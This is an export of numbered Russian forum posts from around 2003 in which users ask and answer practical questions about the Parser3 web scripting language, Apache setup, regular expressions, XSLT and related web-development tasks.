[i]Пример: я никогда не покупаю ничего там, где мне что-то не нравиться.[/i]"
"11804","http://www.google.com/search?q=teleport+pro"
"11805","^expand[создать локально]=создать сайт локально\
^decode[teleport pro]=http://www.google.com/search?q=teleport+pro"
"11806","а говорят что у ... мысли сходятся"
"11807","А ты что думаеш, что я Cool программер. Я год назад не знал о существовании PHP и Парсера:), но прогресс, - это дело самодостаточности и большого гемороя. Все через это проходили и ни куда от этого не деться:)"
"11809","в договоре описаны услуги и прочее. если вы хотите сверх, платите денег. это нормально.\
\
parser в договорах на hosting начнёт появляться тогда, когда сайтов, сделанных на нём станет много, людей, использующих его в своих проектах будет много.\
\
соответственно, в наших с вами силах сделать, всё что нужно :)\
\
что до якобы «проблемы установить на хостинг», то часто они мнимые."
"11813","Создайте пакет Парсера специально для хостинга. Что-бы его просто и непринужденно полюбили ставить хостеры.\
\
А по поводу договоров, то на самом деле хостеры, которые ценят я поторюсь своих клиентов, сделают все это бесплатно, если они бояться потерять деньги, которые вы им платите, а ето я уже забираюсь ни в те дебри, - это будет работать на все 100%, только там где поддержка хостинга получает % от клиентов."
"11814","Допустим, если в классе определен метод exception_handler, то при возникновении exception вызывался бы сначала он, потом аналогичный метод caller (если есть), потом caller of caller... И так до MAIN, в котором уже отрабатывал бы свое, необработанное, unhandled_exception?\
\
Идея с регистрацией хороша, но если у меня зарегистритрированы три класса, а упало в MAIN, странно предполагать, что в классах содержится обработчик этой ошибки, хоть и затраты на регистрацию невелики."
"11815","он называется модуль Apache"
"11816","Попробовал Parser3. Спасибо, очень понравилось. Только вот незадача - некоторые функции не описаны, например include. Вопрос: при заходе на сайт нужно, чтобы он выдавал страницу с другой директории (как в переадресации) как будто это и есть корневая страница. Появилась мысль использовать include вкупе с process. Что поссоветуете?"
"11817","Разом решишь все вопросы с секурностью! По слухам, есть на свете версия Парсера с защитой класса \"Зона А\", которая только так, в html, на локальной машине и генерит сайты. Разумеется через сеть не работает и на диск результат работы не сбрасывает! Код только РАСПЕЧАТЫВАЕТ! исключительно на игольчатых принтерах типа СМ для последующего ввода сторонним \"проверенным\" оператором в память ПЭВМ. К сожалению посмотреть на эти сайты не удастся - нужен серьезный допуск. Да и посмотрев даже на распечатки, в отпуск за бугор потом лет 5...10 не сможешь ездить :)\
\
Ничего личного - ну не смог я мимо пройти :)"
"11821","В руководстве (pdf) приводятся примеры где упоминается include (стр. 43 - \" ... Важно: операторы, это методы класса MAIN, но в отличие от методов других классов, их можно вызвать из любого класса просто по имени, т.е. можно писать ^include[…] , вместо громоздкого ^MAIN:include[…]\", стр. 54 - раздел \"Сложный пример использования\" @include[filename][file] $file[^file::load[text;$filename]] ^process[$caller.self]{^taint[as-is][$file.text]}... Ну, и т.д.). Речь идет об операторе который ЮЗЕР создает?"
"11823","Да, действительно. Из FAQа следует, что include была во второй версии, то бишь в третьей, соответственно ее нет."
"11824","самое простое, что приходит на ум:\
позволить [b]в любом классе, не только MAIN[/b] определить\
[code]\
@unhandled_exception[exception;stack]\
#если обработан, выставить $handled(1)\
[/code]\
\
другое дело, отдавать туда все исключения или часть.\
\
«упало в MAIN» это всё спорно.\
скажем, в классе engine кто-то скомпилировал[code]^process[$other.CLASS]{\
@method[]\
кусочек кода, ^throw[engine.bug]\
}\
[/code]\
кусочек метода к другому классу, потом кто-то третий вызвал тот кусочек, при этом ошибка может относиться к engine…"
"11825","редактируем файл, save.\
дальше желательно просто: reload в browser\
иначе неудобно разрабатывать сайт.\
\
как я писал, вариантов много"
"11826","А то, что кто-то встаивает  в класс \"чужие ошибки\", дойстоно только порицания.\
\
Хотя, можно разграничить - чтоб первая часть type всегда совпадала с именем класса (для engine - engine.bug, engine.overload и пр)"
"11827","Если пользователь хочет, чтобы ошибка перехватилась конкретным классом, он должен написать его имя в source."
"11828","Ребят возможно ли организовать поиск по файлам ? допустим это будет *.html т.е. вырезаем все теги, ищем комбинацию,показываем результат ? =)\
\
Если да, покажите плиз откуда оттолкнутся =)"
"11829","если, конечно у тебя не пять файлов, а если так, то зачем делать поиск по ним?\
\
Сначала нужно создавать бызу c индексами, а потом по ней искать.\
Если сайт уже все в БД, то проблема решена.\
\
P.S.: Можно взять Yandex.Site Light"
"11831","Можно ли узнать/изменить таймаут?\
\
Немного неудобно, т.к. не всё и не отовсюду можно загрузить по http -- падает :("
"11832","но имейте в виду, что посетитель страницы с вашим ^load[http:// может ваш timeout и не дождаться.\
\
впрочем, я уже писал на эту тему."
"11833","А тогда два других вопроса\
\
1. нужно чтобы это_самое_число было в виде 0000\
т.е., если человек введёт число 1, то в запросе будет ?0001,\
а если 525, то ?0525\
\
это можно сделать на javascript, но не интересно\
"
"11834","Переберать все слова и сравнивать их это очень медленно, другое дело создать индекс, но это на парсере не возможно,так как он не расчитан для таких задач."
"11837","Люди подскажите как из текста сделать ссылки.\
Например в тесте есть\
\
[b]Всем привет. Мой сайт http://domain.ru/ или сюда http://domain.ru/ добро пожаловать[/b]\
\
а надо получить\
\
[b]Всем привет. Мой сайт <A href=\"http://domain.ru/\">http://domain.ru/</A> или сюда <A href=\"http://domain.ru/\">http://domain.ru/</A> добро пожаловать[/b]\
"
"11839","совсем недавно было:\
http://parser.ru/forum/?id=11651"
"11840","Даже я разобрался :)\
\
Несколько настроек меняешь и все. И опять-таки - доки на русском..."
"11841","Не понял я что-то там.\
Мне нужно простейшее регулярное выражение.\
\
Я пишу:\
[i]http://(.*)/[/i]\
\
Это работает, но (.*) берет все до последнего / символа, а это не допустимо если в строке больше одной ссылки, может ты мне подскажеш, как сделать, чтобы бралось значение до первого попавшегося /\
\
???"
"11842","Вот хочется мне именно так и не иначе =)\
БД - ставить не хочу =)\
\
P.S. такая маленькая прихоть =)"
"11843","...лучше взять уже готовый (причем работающий) и посмотреть как-же он устроен.\
\
я подсказать могу, но не буду, т.к. про это меньше, чем неделю назад писал в форуме ПАФ.\
http://parser.ru/forum/?id=11620\
\
похоже, что поиск игнорируете сознательно..."
"11844","я сам многое перепробовал и Yandex Lite, и MnogoSearch и ещё ряд готовых прог, но больше всего понравилось работать с Risearch.\
Там ряд недостатков конечно есть, но их всегда можно подправить под свои нужды (правда букварик по Перл придется полистать :)). Работает четко и надёжно! И самое главное логика работы понятна.\
\
Лучший вариант это использовать его (Risearch) с БД, но если не хотите с БД, как хотите. Там на Risearch.org всякие версии есть. Просто в той версии, которая работает с БД проще разобраться. Там надо немного в SQL понимать, а перловый скрипт особо править и не надо. А что потребуется поправить, там в доке по-русски всё описано."
"11845","ими поиск можно нормально делать\
а вот паука, который будет странички раздраконивать и выдирать слова, лучше писать на том же Перле (на С++ мороки много) - будет работать быстрее.\
\
(перловая версия Risearch работает быстрее, чем php-шная)"
"11846","<?php\
\
$text = \"Всем привет. Мой сайт http://code.msk.ru/ или сюда http://webcopy.narod.ru/\";\
\
$t = split(\" \",$text);\
\
while (list($k,$v) = each($t)){\
 if ( eregi(\"http://(.*)/\",$v) ){\
  echo \"<A href=\\\"\".$v.\"\\\">\".$v.\"</A> \";\
 }\
 else{\
  echo $v.\" \";\
 }\
}\
\
?>"
"11847","...и какие достоинства/недостатки у каждого из них."
"11848","Я не понял, то, что писали в форуме по тем ссылкам, что ты мне довал. Эти регулярные выражения сплошной геморой. В доке по парсеру изложено все как-то кучно, а другого мануала(Русского) у меня вроде как и нет.\
\
Хотел понять, но не понял я все эти крючки."
"11849","Установил apache (он работал как localhost), установил parser (с помощью программы), внес изменения. Создал файлы первого урока, в браузере ^navigation и все... "
"11853","Пытался, сервер вообще пишет:\
the requested operation is failed."
"11854","Народ, кто подскажет решение следующей проблемы.\
Мне необходимо передать параметры от одной веб-страницы другой get-методом, как это сделать, я в курсе. Вопрос в том, как словить эти значения в целевом урле? В пхп, например, есть массив переданных параметров HTTP_GET_VARS, оттуда их можно получить. Есть аналог на парсер?"
"11855","http://www.parser.ru/docs/lang/formfield.htm"
"11856","Это работает только на Parser3, где это было все знают.\
@matchHrefs[text]\
$result[^if(def $text){^text.match[(?<![=\"])((?:http://|ftp://|mailto:)(?:[:\\w~%{}./?=&@,#-]+))][gi]{<a href=\"$match.1\">$match.1</a>}}]\
#end @matchHrefs[]\
\
Это работает только на PHP. Это я вытащил из буржуйской оффициальной доки к PHP 4.3.0\
$text = ereg_replace(\"[[:alpha:]]+(:)[^<>[:space:]]+[[:alnum:]/]\",\"<a href=\\\"\\\\0\\\" target=\\\"_blank\\\">\\\\0</a>\", $text);\
\
Почему эти выражения работают только на том или ином интерпритаторе и не более и что из них практичнее?"
"11857","парсерный match - perl compatible regular expressions (PCRE)\
перловый s/// - PCRE\
пхпшный ereg - свой собственный матч\
пхпшный preg - опять PCRE\
\
идею стандартизации чувствуешь?"
"11858","На ОЗОНе долго не было, а позавчера появилась хорошая книга по регулярным выражениям:\
\
\"Регулярные выражения (пер. с англ. Матвеев Е.). Серия: Библиотека программиста, Фридл Дж.\" (http://www.ozon.ru/?context=detail&id=938254)\
\
Впрочем, только что посмотрел - она опять \"временно отсутствует в продаже\" :-)\
\
Оставь на нее заявку..."
"11859","можно занести в протокол. в FAQ смысле."
"11860","очевидно, вы скверно устанавливаете веб-сервер. подробностей не сообщаете.\
\
попробуйте поставить denver[используйте поиск по форуму], возможно, это будет сделать проще."
"11861","Люди. Как отправить форму методом POST, но надо, чтобы она открылась в новом окне?"
"11862","[code]\
<form method=\"post\" action=\"...\" target=\"_blank\">...\
[/code]\
это задаст \"цель\" форме (если это то, что нужно). Честно говоря, \"отправить форму методом POST, но надо, чтобы она открылась в новом окне\" - понятно не много. Что должно открыться в новом окне - результаты формы? Или сама форма?"
"11863","Есть администрирование.\
В нем методом пост передаются данные авторизации (логин с паролем)\
В администрировании меня просят, чтобы один из его разделов окрывался в новом окне.\
\
Значит вот это должно работать?\
[code]<form method=\"post\" action=\"...\" target=\"_blank\">...[/code]\
Благодарю, попробую.\
"
"11864","Demon, вы что думаете, что на чтении документации можно сэкономить?\
и так и будете методом тыка осваивать то то, то это?\
в результате получите только разрознненные кусочки опыта[не знания] сомнительной ценности.\
\
это при том, что спецификации стандартов от вас никто не скрывает.\
про html, http, cgi, regexp[PCRE] и прочие необходимые для веб-скриптования вещи полно общедоступных текстов."
"11865","В каталоге\
/home/estilla/www/cgi-bin/parser3 лежит парсер\
В каталоге\
/home/estilla/www/kp.ru лежит поддомен\
В каталоге\
/home/estilla/www/ лежит основной домен\
Он загружается без проблем.\
А вот если попробовать зайти в поддомен выдается ошибка\
Internal Server Error\
The server encountered an internal error or misconfiguration and was unable to complete your request.\
\
Содержимое .htaccess поддомена\
AddHandler parser3-handler html\
ParserConfig /home/estilla/www/cgi-bin/parser3/auto.p\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
Что я делаю неправильно?\
\
\
\
"
"11867","Прошу прощения за отступление от темы, но\
Подскажите, почему при уменьшении размеров прозрачного gifа на 10-20% утилитой convert из ImageMagick размер результирующего файла увеличивается в 3 раза?\
Пожалуйста, не советуйте сделать RFM. В его FM сам черт ногу сломит. Не нашел я там объяснений."
"11868","Я не уверен, но мне кажется, что в...\
1. Меняем \"ParserConfig /home/estilla/www/cgi-bin/parser3/auto.p\" на \"SetEnv CGI_PARSER_CONFIG /путь/к/файлу/auto.p\"\
2. Добавляем \"Action parser3-handler /cgi-bin/parser3/parser3.cgi\""
"11869","читаю change log там написано:\
\
Fix the building of cgi command lines when the query string\
     contains '='.  PR 13914  [Ville Skyttд <ville.skytta@iki.fi>,\
     Jeff Trawick]\
\
Похоже из-за этой хреновины, у меня под 2.0.43 парсер в виде cgi вешал нафиг весь сервер при наличии = в query string"
"11870","В чем отличие этих двух конструкций? В хелпе как-то этот вопрос обходится(или мне но-пошарам)."
"11871","если $объект число работает первое и второе, если таблица, объект и т.д. только второе"
"11872","Как в локальной сети забрать почту с почтового сервера средствами парсер?"
"11874","пока парсер не работает ни с POP3 ни с IMAP4"
"11875","используйте file::exec скрипт, который такое умеет.\
поищите на http://cgi-resources.com"
"11876","Гранд мерси.\
А то никак не врубался, почему иногда первая конструкция работает, а иногда - нет"
"11877","так:\
^if($таблицы){}\
можно проверять на \"определенность\" таблицу (она есть и не пуста, фактически $таблица в круглых скобочках/выражении возвращает количество строк в таблице)\
\
так-же можно проверять на \"определенность\" и хеш\
\
Я def использую только для проверки строк на не пустоту"
"11879","Вот описание элемента FORM в спецификации HTML 4.0\
Я здесь не нахожу того, что мне сказали.\
\
[i]\
17.3 Элемент FORM\
<!ELEMENT FORM - - (%block;|SCRIPT)+ -(FORM) -- интерактивная форма -->\
<!ATTLIST FORM\
  %attrs;                              -- %coreattrs, %i18n, %events --\
  action      %URI;          #REQUIRED -- обработчик формы на сервере --\
  method      (GET|POST)     GET       -- метод HTTP, используемый для отправки формы--\
  enctype     %ContentType;  \"application/x-www-form-urlencoded\"\
  onsubmit    %Script;       #IMPLIED  -- форма отправлена --\
  onreset     %Script;       #IMPLIED  -- форма сброшена --\
  accept-charset %Charsets;  #IMPLIED  -- список поддерживаемых наборов символов --\
  >\
\
Начальный тег: обязателен, Конечный тег: обязателен\
\
Определения атрибутов \
\
action = uri [CT] \
Задает агента для обработки формы. Например, значением может быть URI HTTP (для передачи формы в программу) или mailto URI (для отправки формы по электронной почте). \
method = get|post [CI] \
Определяет метод HTTP, используемый для передачи набора данных формы. Возможные значения (с учетом регистра) - \"get\" (по умолчанию) и \"post\". Подробнее см. в разделе об отправке формы. \
enctype = content-type [CI] \
Этот атрибут задает тип содержимого, используемый для отправки формы на сервер (если для метода используется значение \"post\"). По умолчанию для этого атрибута используется значение \"application/x-www-form-urlencoded\". С элементом INPUT, type=\"file\" должно использоваться значение \"multipart/form-data\". \
accept-charset = список наборов символов [CI] \
Этот атрибут задает список кодировок символов для ввода данных, которые должны приниматься обрабатывающим эту форму сервером. Значением является разделенный пробелами и/или запятыми список значений charset. Сервер должен интерпретировать этот список как список исключающих или, то есть он должен принимать любую кодировку для загруженного объекта. \
По умолчанию значением этого атрибута является зарезервированная строка \"UNKNOWN\". Агенты пользователей могут интерпретировать это значение как кодировку символов, используемую для передачи документа, содержащего этот элемент FORM. \
\
accept = content-type-list [CI] \
Этот атрибут определяет разделенным запятыми список типов содержимого, которые должен корректно обрабатывать сервер, обрабатывающий форму. Агенты пользователей могут использовать эту информацию для отфильтровывания отвечающих спецификации файлов при предложении пользователю выбора файлов для отправки на сервере (если в элементе INPUT указано type=\"file\").\
[/i]\
\
Не надо меня оскорблять.\
Подумаеш спросил.\
\
:("
"11880","Задача: \
на странице есть форма (скажем, 1 <input name=\"date\"> и 1 <textarea name=\"text\"> и кнопка submit), заполняемая пользователем; данные сохраняютcя в таблицу в файл (вида: id  date  text), формируя в ней новую строку. При нажатии в textarea Enter мы получаем переход на новую строку и при сохранении в файл (таблицу) нарушаем его структуру со всеми вытекающими последствиями.\
Вопрос:\
Как, либо запретить пользователю использовать Enter в textarea, либо преобразовать данные из поля \"text\" при сохранении в файл, чтобы \"конец абзаца\" заменился на \"пробел\"?\
P.S. С taint и untaint у меня ничего не вышло."
"11881","Кажется так:\
\
[code]\
$rep[^table::create{a	b\
^taint[^#0A]	 \
^taint[^#09]	 \
}\
]\
\
$text[^text.replace[$rep]]\
[/code]"
"11882","вы прочли какую-то ерунду, и остановили ваши поиски, не дело.\
\
окружающим: шлите вашы ссылки? со временем, выделим в отдельный раздел."
"11883","И оскорблений я в ответе ПАФ'а не увидел. Если слова о том, что надо учиться, воспринимаются как оскорбление, то стоит пересмотреть отношение к некоторым вещам.\
\
В спецификации HTML и не должно быть таких вещей как открывание формы в новом окне, вы не там ищете."
"11884","http://parser.ru/docs/lang/fileload.htm\
[quot]\
Формат - формат представления загружаемого файла. Может быть text(текстовый) или binary(двоичный). Различие между этими типами в разных символах переноса строк. Для PC эти символы 0D 0A. При использовании формата text при загрузке 0D отбросится за ненадобностью, при записи методом save добавится.\
[/quot]\
\
А потом еще вспомним, что в регулярных выражениях это обожначается как '\\n', и это \"катит\", хотя автор треда и говорит иначе, хотя не объясняет почему у него это \"не катит\" (есть подозрение, что его не устраивает что-то другое)\
\
Далее вспоминаем про ^строка.replace[$таблица_замен] и смотрим в FAQ..."
"11886","Ерунда не ерунда, а переведенная родная документация, но там этого не нашлось и я не остановил поиски. Ведь я их продолжил. Спросил и мне ответили, что же тут не правильного?"
"11887","Задать вопрос не стыдно и полезно, но\
Несколько вопросов подряд по азам - и получите \"читай, учись\"...\
Равносильно реакции на вопросы типа: чему равен синус нуля? или чему равна первая производная от константы?.. Это, наверняка, не все знают, но уж если занялся математикой...\
"
"11888","что-то типа этого\
^str.match[\\r][g]{ }\
не сработает?"
"11889","Или уж совсем железно - \\s+ - раз не нужны переводы строк, то и табуляторы пусть отдохнут.\
А плюс нужен для последовательности..."
"11891","Может это будет кому-нибудь полезно - если XML файл расположен на сервере с русским Apache, нужно обязательно отключить перекодировку с его помощью, иначе может возникнуть ситуация с несовпадением реальной и кодировки в XML декларации."
"11892","что при сохранении нового файла, ImageMagick добавляет все недостающие цвета до значения 256. При этом зачастую превращает прозрачность в цвет..."
"11894","Как цветов то уменьшить? Задание опции -colors не помогает."
"11898","Очень полезно: всё что надо (HTML, CSS, графика, цвета...), разжёвано, с примерами и пр."
"11899","Доунлоад учебников по HTML, XML, CSS, JavaScript, PHP, Perl, MySQL, Flash, PhotoShop"
"11900","Да, но вот в парсерном коде есть такие недостатки:\
Если после ссылки сразу стоит зпт или тчк, то он прецепит их к ссылке а в пхпшном варианте такого нет.\
\
Есть ли решение этого?"
"11901","[b]Apache + Perl + PHP4 + MySQL для Windows 95/98: руководство по установке.[/b]\
\
Культовая вещь, пару лет назад была замечена на webclub'е, теперь её там вроде нет, но по ссылке находится оригинал. Если бы вместо пхп в ней парсер фигурировал, цены бы ей не было...\
\
Рекомендуется начинающим для [b]устранения причины[/b] ситуаций типа \"Я тут запустил инсталлятор, всё вроде нормально, но ничего не работает, чё тут не так, не пойму...\" "
"11902","Всё-таки неудобно, что в методе @auto[] нельзя использовать класс $form. Как обойти это ограничение?\
\
Можно создать собственный метод @head[] и вызывать его в главном auto.p в начале описания @main[]. Однако в этом случае мы лишимся главного достоинства метода @auto[]: на пути углубления в иерархию сайта он не переобъявляется, в отличие от обычных методов. Если же Вы опишите @head[] в промежуточном auto.p, затем в конечной странице, то выполнится только последняя \"версия\" метода.\
\
Это наводит на мысль, что описания нужно накапливать, например, в таблице в виде строк, которые можно потом \"выполнить\" с помощью ^process[]\
\
Пример.\
\
/auto.p:\
\
[code]\
@auto[]\
$auto[^table::create{code}]\
\
@main[]\
^if($auto){^process{^auto.menu{$auto.code}}}\
$title\
[/code]\
\
/issues/auto.p:\
\
[code]\
@auto[]\
^auto.append{^^form:fields.foreach[key^;val]{^$key=^$val}[<br>]}\
[/code]\
\
/issues/index.html:\
\
[code]\
^auto.append{^$title[Заметка # ^$form:id]}\
[/code]\
\
Конечно, неудобно ескэйпить все парсерные знаки в строке, однако много и не надо: все, не касающееся $form, останется в стандартном @auto[]. Кстати, совпадение имён ошибки не вызывает, что тоже удобно."
"11904","yandex слово не знакомо"
"11905","зачем в auto нельзя form: сайт может быть многоязыковым.\
какой $request:charset может выясниться на ходу в каком-то auto.\
\
чтобы перекодировать $form:значения из request в response кодировку, надо эти кодировки знать.\
\
если всем всё равно, и можно код переключения $request:charset засунуть в @conf, я могу позволить в auto использовать form."
"11906","Если бы в [url=\"http://www.dklab.ru/doc/apache/\"]этой статье[/url] пятая глава называлась не \"Установка PHP версии 4\" а \"Установка Parser версии 3\", это было бы более \"по-нашему\", и статья была бы более полной и исчерпывающей... \
\
А то что есть Денвер-2 и к нему существует Parser отдельным модулем, тут я в курсе. Или вы не это имели ввиду?\
\
"
"11907","пусть кому надо, тот юзает в @auto[] $form:fields, кому не надо - зажег флаг - вперед, без $form:fields. Способность \"нельзя $form:fields в @auto[]\" - нужная, и ее не следует килять, imho.\
\
Сделайте что-то типа $ORIGINS(1), или как вам больше нравиться.\
\
P.S. В сорсах Парсера я - 0, поэтому могу говорить плоскость, сам того не подозревая - не вините меня."
"11908","Денвер это [i]гораздо более простой и удобный способ[/i], но он не решает проблемы, он порождает её в более глобальном масштабе, ибо это по сути экономия на [b]базовых[/b] знаниях.  8-]\
\
ни в коем случае не надо стирать Денвер и устанавливать всё отдельно, но статью всё же стОит прочитать, начинающим, для общего развития..."
"11909","Оказывается, галочка в настройках про уведомление об ответах на сообщения никак не влияет на ту, что каждый раз появляется в окошке \"Добавить сообщение\". Поэтому, если Вы отключили данное уведомление, то все равно каждый раз придется убирать аналогичную галочку самостоятельно. Это не есть хорошо, товарищи. Если уж существует настройка по умолчанию, она должна работать всегда и везде."
"11910","Киньте кто-нить регесп проверки на правильность аськи (т.е. должны быть одни циферы), ну вам же не трудно :))))))\
__________\
спасибо..."
"11912","не, ну это он проверят, вообще на наличие цифр...\
А их туда и с буквами запихнуть можно..."
"11913","Можно засунуть image(.gif) в sections.cfg?"
"11914","прописать там uri картинки? можно, кончно...\
вызывать только так её нужно: ^untaint{$table.image}"
"11916","Я про парсер мало пока еще знаю. Можно написать экземпляр, как это сделать в парсере, если наприсер image будет home.gif"
"11917","Я решил из БД один раз выбрать целиком нужную таблицу, со всеми нужными полями, а затем уже из нее Парсером вытаскивать нужные элементы для статистики."
"11918","Может быть это потому что код проверялся в оффлайне под apache win32, но у меня рефреш почему зацикливается и на экране постоянно появляется сообщение о загрузке.\
Я посмотрел а у меня переменная $env:HTTP_REFERER почему-то пустая."
"11920","К примеру из 00123456 или 00123456a, но если честно указывая аську никто в ней буквы писать не будет.\
Правильнее наверное так ICQ 00123456 такую конструкцию и найти легко и обработать правильно.\
Если что пиши в мыло."
"11921","Если добавить в .htaccess\
строку ParserConfig /home/esilla/www/cgi-bin/parser3/auto.p,\
то возникает ошибка \"500 Internal Server Error\"\
Если же эту строку не использовать, то появляется другая ошибка\
\"can not open the dynamic link module ./lib/libparser3mysql.so\"\
Я не пойму откуда в начале пути к mysql модулю появилась точка?"
"11922","\
У меня из полученных из БД данных собирается примерно такой код на xml:\
\
<vacancies>\
	<vacancy title=\"Техничка\" date=\"21.01.2003\" id=\"7\">Высшее образование, опыт работы по специальности не менее пяти лет.</vacancy>\
	<vacancy title=\"Дворник\" date=\"21.01.2003\" id=\"8\">Высшее образование, опыт работы по специальности не менее трех лет.</vacancy>\
	<vacancy title=\"Мексиканец\" date=\"22.01.2003\" id=\"9\">Два высших образования. Опыт работы по специальности не менее трех лет. Резюме шлите на coolnigga@poupkine.com.</vacancy>\
</vacancies>\
\
Мне нужно сгенерировать из этого кода таблицу у которой каждая вторая строка будет подсвечена серым цветом. Как мне это сделать? Думал добавить в тег <vacancy> атрибут class и в нем указывать каким цветом красить строку, но это глупо, т.к. оформление будет перемешано с данными. Нужна какая-то хитрая конструкция в <xsl:template match=\"vacancy\"> \
	...\
</xsl:template>\
Посоветуйте что-нибудь."
"11923","..Теперь уже такая:\
driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module\
/home/estilla/www/cgi-bin/parser3/lib/libparser3mysql.so"
"11924","[code]\
<xsl:variable name=\"color\">\
	<xsl:choose>\
		<xsl:when test=\"position() mod 2\">#eeeeee</xsl:when>\
		<xsl:otherwise>white</xsl:otherwise>				\
	</xsl:choose>\
</xsl:variable>\
		\
<tr bgcolor=\"{$color}\">\
...\
[/code]"
"11925","[quote]\
Если добавить в .htaccess\
строку ParserConfig /home/esilla/www/cgi-bin/parser3/auto.p\
[/quote]\
Такую штуку надо добавлять если используется парсер в виде модуля, если CGI то нельзя."
"11926","[quote]Киньте кто-нить регесп проверки на правильность аськи (т.е. должны быть одни циферы)[/quote]\
\
Вы сами знаете чего хотите? :) Сначала вы хотели одни цифры, вам их дали, потом вы захотели буквы ... :) что дальше?"
"11927","он часто не хочет.\
он хочет сначала поиграться с примерами, понять, нужно ему это или нет. \
\
в этом его желании любые препятствия на пути установки могут отвратить его, что было бы грустно."
"11928","вы видите ошибку в окне browser и\
[b]не ходите[/b] в журнал ошибок веб-сервера, в котором написаны подробности.\
[b]не сообщаете[/b] эти подробности здесь."
"11929","только зачем regex для этого?\
\
[code]\
#проигнорирует пробелы до и после, \
#если будут не цифры, вернёт 0\
$uin(^form:uin.int(0))\
^if($uin){\
   правильный\
}{\
   0 или не только цифры\
}\
[/code]"
"11930","From: \"Konstantin Morshnev\" <moko@design.ru>\
Sent: Thursday, October 10, 2002 6:27 PM\
Subject: о user-defined функциях в xsl\
\
Добрый день!\
\
Как известно, синтаскис XSL в некоторых случаях не очень удобен. В частности, конструкция аналогичная if / then / else выглядит многоэтажным монстром.\
\
В версии XML процессора, который используется в парсере поддерживается одно из популярных расширений XSL - возможность задания пользовательских функций.\
\
Выглядит это довольно прозрачно:\
\
[code]\
<xsl:stylesheet\
         xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\"\
         xmlns:func=\"http://exslt.org/functions\"\
         xmlns:if=\"http://www.atrlebedev.ru/xsl/if\"\
         extension-element-prefixes=\"func if\"\
         version=\"1.0\"\
 >\
         <func:function name=\"if:def\" >\
                 <xsl:param name=\"condition\" />\
                 <xsl:param name=\"if-true\" />\
                 <xsl:param name=\"if-false\" default=\"\" />\
\
                 <xsl:choose>\
                         <xsl:when test=\"$condition\">\
                                 <func:result select=\"$if-true\" />\
                         </xsl:when>\
                         <xsl:otherwise>\
                                 <func:result select=\"$if-false\" />\
                         </xsl:otherwise>\
                 </xsl:choose>\
         </func:function>\
\
         <xsl:template match=\"*\" >\
          <xsl:value-of select=\"if:def(name(.) = 'body','found','not found')\" />\
         </xsl:template>\
[/code]\
\
Ну и в использовании, как видно, довольно просто...\
\
На сайте http://www.exslt.org/ помимо описания расширений, которые должны поддерживаться на уровне процессора, есть еще библиотека функций, написанных как на XSLT, так и и на EXSLT, и на msxml. Например функции для работы со строками: http://www.exslt.org/str/index.html\
\
Понятно, что в результате можно потерять одно из преимуществ XSL - \
переносимость, но с другой стороны поддержка user-defined функций есть почти везде (хотя не везде эти функции пишутся на XSL). Поэтому правильнее составитьнекоторый набор расширенных функций, и пользоваться только ими.\
\
WBR, MoKo\
"
"11932","Как не работает? Что в логи пишет? Что броузеру отвечает?"
"11933","http://parser.ru/forum/?id=11923"
"11934","[Wed Jan 22 09:40:19 2003] /: config(0): './lib/libparser3mysql.so' driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module [<no type>]"
"11936","не могу заставить выводить картинку методом html без атрибута border\
делаю так:\
[code]^картинка.html[][/code]\
и так\
[code]^картинка.html[$.alt[...]][/code]\
border, собака, присутствует"
"11938","что неприемлемо"
"11939","Потом на другом хостинге точно такие же настройки работают без проблем."
"11941","а катит следующее:\
[code]\
$img[^image::measure[img.gif]]\
<p><img alt=\"...\" \
	style=\"border:0; width:${img.width}px; height:${img.height}px\" \
	src=\"img.gif\"/></p>\
[/code]"
"11942","просто в доке заметку можно сделать, что мол для XHTML этот метод нельзя использовать, точнее можно, но получится невалидный XHTML :). Выход уже нашел, см. пост выше."
"11943","Здраствуйте!\
\
Ставлю примером Тостер.ру. На главной странице сайта анонсы и ссылкы на 7 статей, выглядят они так http://www.toster.ru/807/; http://www.toster.ru/806/; http://www.toster.ru/805/. Предпологаю что папки 807, 806, 805 на сервере не создаются, и соответственно вопрос как это можно реализовать? Сам как говорится не _допер_ :) Такой адрес выглядит красиво, информация хорошо упорядоченна, то бишь must have!\
\
tnx"
"11944","и все обращения к страницам направляются на единственную страницу, которая и управляет выводом в зависимости от полученного uri"
"11945","Плодит лишнюю сущность.\
Да и bgcolor не единственный аттрибут, который может понадобиться прописать.\
Выход - CSS\
\
В разделе стилей определяем два типа ячеек - \"светлые\" и \"темные\"\
[code]tr.row0 > td {\
   background-color: #ffffff;\
   color: #000000;\
}\
tr.row1 > td {\
   background-color: #000000;\
   color: #ffffff;\
}\
[/code]\
а в темплате пишем\
[code]\
<xsl:for-each select=\"row-element\">\
   <tr class=\"row{position() mod 2}\">\
      <td>.......</td>\
   </tr>\
</xsl:for-each>\
[/code]\
вуаля! первый черный, второй белый и т.д.\
\
кстати, так и огород городить не надо, если понадобится больше 2 разных типов строк."
"11946","однако некоторые извращенцы, продолжают поддерживать 2-е версии браузеров :)"
"11947","цезарю - цезарево, кесарю - кесарево. ;-)\
никто ж не запрещает поддерживать, но с умом ведь надо."
"11948","да и месяц назад даже на design.ru были bgcolor :) да и не все быстро перестраиваются"
"11949","Извените, что совсем мимо темы, но меня по непонятным причинам не пускают на форум по photoshop. Люди у кого Русский, 7'ой подскажите как в конце концов заставить его по нормальному отображать русские подписи"
"11950","Тебе нужен Adobe Type Manager и набор шрифтов к нему."
"11951","Так. Я понял, что эта прога не бесплатная и в Inete её врядли есть или я ошбаюсь. Если знаеш где есть скажи. И сколько она занимает. И еще, какие шрифты мне нужны?"
"11953","ки, подниму доки по апачу"
"11954","Аналог PHP:\
\
<?php\
 exit;\
?>"
"11955","этот вопрос уже обсуждался. Пришли у выводу - если вам требуется прерывание процесса, вам следует пересмотреть алгоритм реализации задачи."
"11957","только его в таких надобностях использовать, imho, не очень exit from process. Но, как альтернатива - работает на ура."
"11958","пишешь типа в .cfg:\
id - img - url\
1 - test.gif - /test/\
\
\"-\" есть табуляция))))\
\
потом вывод типа <a href=$sections.url><img src=$sections.img></a>\
\
\
"
"11960","Народ, помогите с установкой Parser3 на Denver (локальной, соответственно).\
\
Ставлю Денвер (http://www.dklab.ru/chicken/web/dis/Base/2003-01-03_Base_a1.3.27_p4.3.0_m3.23.53_pma2.3.0.exe).\
Пробую - работает.\
http://localhost/ доступен, всё прекрасно.\
\
Создаю ещё один хост. (проверил - работает)\
Далее ставлю модуль Parser для Apache.\
\
